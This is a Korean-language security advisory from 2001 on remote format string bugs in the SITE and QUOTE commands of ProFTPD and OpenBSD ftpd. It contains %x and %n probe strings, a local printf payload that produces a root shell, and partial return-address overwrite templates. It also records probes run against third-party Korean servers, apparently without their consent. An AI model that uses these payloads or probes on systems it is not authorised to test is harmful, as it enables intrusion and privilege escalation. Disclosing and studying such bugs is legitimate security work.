FTPD Site 명령과 quote 명령을 이용한 remote format string attack 구사.
- 작성자: iNetCop - Xpl017Elz -
site command bug:
Version that test directly: ProFTPD 1.2.1-2wl Server (Redhat) [7.1],
ftp상에서 "site" 명령수행이 가능한 대부분
의 서버.
quote command bug:
Version that test directly: ProFTPD 1.2.0pre10 Server (Debian)
[orange],
ProFTPD 1.2.0rc2-1kr2 (Redhat) [7.0],
ProFTPD 1.2.1-2wl Server (Redhat) [7.1],
FTP server (Version 6.5/OpenBSD)
ftp상에서 "quote" 명령수행이 가능한 대부분
의 서버.
[x82@www tmp]$ ./bugtestfile
input: AAAA%x%x%x%x
output: AAAA414141417825782578257825a <--- 이부분을 통해 format
string 저장되있는 스택영역이 노출된다.
[x82@www tmp]$
[x82@www tmp]$ (printf "\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41
\x41\x9e\xf2\xff\xbf%%64848c%%n%%49823c%%n";cat) | ./bugtestfile
...
...
A
... 중
략 ...
...
...
whoami
root
id
uid=999(x82) gid=999(x82) euid=0(root) groups=999(x82),10(wheel)
이런식이 대부분 format string을 이용해 가상으로 root 권한을 획득하는
장면이다.
이미 wu-ftpd 상에서 "site exec" 명령을 이용한 format string 취약점이
발표되었다.
필자는 다른 ftp에도 취약점이 존재하지 않을까 하고 TEST를 해보았다.
그 결과,
bash-2.04$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 BCB1COOL Server (FORMAT STRING BUG SERVER) [xxx.bugserver.com]
500 AUTH not understood.
500 AUTH not understood.
KERBEROS_V4 rejected as an authentication type
Name (127.0.0.1:x82): x82
331 Password required for x82.
Password:
230 User x82 logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> site AAAA%x%x%x%x%x%x%x%x%x%x
500 'SITE
AAAA806C1A527FA805164828057650BFFFE9C4BFFFC190455449534141412025782541'
not understood.
414141~이 9번째 출력되었다.
ftp> quote AAAA%x%x%x%x%x%x%x%x%x%x
500
AAAA806C1A627FF805164828057650BFFFE9C4BFFFC190414141417825782578257825
not understood.
41414141이 8번째 출력되었다.
ftp>
ftp> site AAAA%x%x%x%x%x%x%x%x%n <--- %n 디렉티브를 사용하니 coredump
가 일어나버렸다.
Segmentation fault (core dumped)
bash-2.04$
bash-2.04$ cat /etc/redhat-release
WOWLiNUX Release 7.1 (Paran)
bash-2.04$ uname -a
Linux xxx.bugserver.com 2.4.2-2wl #1 Thu Mar 16 05:21:58 KST 2001
i686 unknown
bash-2.04$
bash-2.04$ file core
core: ELF 32-bit LSB core file of 'ftp' (signal 11), Intel 80386,
version 1, from 'ftp'
정상적인 경우:
ftp> site AAAA%x%x%x%x%x%x%x%x%x%n
ftp> 500 'SITE AAAA%X%X%X%X%X%X%X%X%X%n' not understood.
이런 결과를 보여주는 ftp server는 취약점이 없다.
eggshell address: 0xbffffa28
ex> quote \....................%8x%8x%8x%8x%8x%8x%8x%8x..............%
n....................%n
ex> site "\....................%8x%8x%8x%8x%8x%8x%8x%8x%8x...........%
n....................%n"
uname -a
Linux xxx.bugserver.com 2.4.2-2wl #1 Thu Mar ...
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
위와 같은 결과는 다음의 조건을 따라야 가능할것이다.
1. 덥어쓰기 원하는 주소의 위치를 알아야함. 즉, 리턴어드레스
2. 띄워둔 shellcode의 주소를 계산하여야 한다.
3. 전체적으로 필요한 계산. 즉, format string이 이루어질수 있는 조건을
만듬.
FTP를 운영하는 서버라면 거의 대부분이 이런 취약점을 가지고 있는것같다.
국내 몇업체에도 각각 시험을 해보았다.
netian.com
ftp> quote AAAA%x%x%x%x%x%x%x%x%x%x
500
AAAA7800BBAA10072B81008820056F3E841414141782578257825782578257825782578
25 not understood.
dreamwiz.com
ftp> quote AAAA%x%x%x%x%x%x%x%x%x%x
500
AAAA7800BBAA10072B81008820056F3E841414141782578257825782578257825782578
25 not understood.
nbci.com
ftp> quote AAAA%x%x%x%x%x%x%x%x%x%x
500 'AAAA7800BBAA10072B81008820056F3E8414141417825782578257825782578257
8257825': command not understood.
취약점이 드러나는곳이 많이 존재하는것 같다.
exploit 하기에는 상당히 환경에 문제가 발생하여 작업을 중단하고 있는 상
태이다.
아직까지 exploit을 완성하지는 못했다. 그것은 아마도 실력이 있는 다른해
커님들께 맏기겠다.
현재 이 취약점은 윈도우상에서 ftp를 이용하여 들어가면 실행히 되지만,
어느 리눅스상에서는 통하지 않는곳도 존재했다.
format string 취약점이 존재하는것은 wu-ftp와 다를것이 없다.
누군가가 exploit 하기전에 하루빨리 그에따른 방안이나 보안패치가 나와
야 할것이다.
--
http://www.inetcop.org
배포를 하실 경우에 출처를 밝혀 주십시오.